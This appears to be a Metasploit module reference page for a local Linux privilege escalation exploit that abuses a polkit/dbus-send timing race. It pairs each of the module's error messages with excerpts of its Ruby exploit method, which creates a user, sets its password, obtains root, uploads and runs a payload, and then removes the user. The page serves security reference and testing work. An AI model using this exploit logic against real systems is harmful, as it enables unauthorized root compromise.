372:	    fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373:	    fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374:	    if datastore['TIMEOUT'] < 26
375:	      fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376:	    end
377:	
378:	    if @cmd_delay.nil?

TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.

Here is a relevant code snippet related to the "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not." error message:

370:	
371:	  def exploit
372:	    fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373:	    fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374:	    if datastore['TIMEOUT'] < 26
375:	      fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376:	    end
377:	
378:	    if @cmd_delay.nil?
379:	      # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
380:	      # likely cause the check method wasn't executed. Lets set it so long.

Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.

Here is a relevant code snippet related to the "Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target." error message:

379:	      # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
380:	      # likely cause the check method wasn't executed. Lets set it so long.
381:	
382:	      # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
383:	      @cmd_delay = get_cmd_delay
384:	      fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
385:	    end
386:	
387:	    print_status("Attempting to create user #{datastore['USERNAME']}")
388:	    loop_sequence = get_loop_sequence
389:

The user <USERNAME> was unable to be created. Try increasing the ITERATIONS amount.

Here is a relevant code snippet related to the "The user <USERNAME> was unable to be created. Try increasing the ITERATIONS amount." error message:

385:	    end
386:	
387:	    print_status("Attempting to create user #{datastore['USERNAME']}")
388:	    loop_sequence = get_loop_sequence
389:	
390:	    fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
391:	    uid = cmd_exec("id -u #{datastore['USERNAME']}")
392:	    print_good("User #{datastore['USERNAME']} created with UID #{uid}")
393:	    print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
394:	    if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
395:	      print_good('Obtained code execution as root!')

Attempted to set the password <ITERATIONS> times, did not work.

Here is a relevant code snippet related to the "Attempted to set the password <ITERATIONS> times, did not work." error message:

394:	    if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
395:	      print_good('Obtained code execution as root!')
396:	      fname = upload_payload
397:	      execute_payload(fname)
398:	    else
399:	      print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
400:	    end
401:	
402:	    print_status('Attempting to remove the user added: ')
403:	    if exploit_delete_user(uid, loop_sequence)
404:	      print_good("Successfully removed #{datastore['USERNAME']}")

Unable to remove user: <USERNAME>, created during the running of this module

Here is a relevant code snippet related to the "Unable to remove user: <USERNAME>, created during the running of this module" error message:

399:	      print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
400:	    end
401:	
402:	    print_status('Attempting to remove the user added: ')
403:	    if exploit_delete_user(uid, loop_sequence)
404:	      print_good("Successfully removed #{datastore['USERNAME']}")
405:	    else
406:	      print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
407:	    end
408:	  end
409:	end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Kevin Backhouse
  • Spencer McIntyre
  • jheysel-r7

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.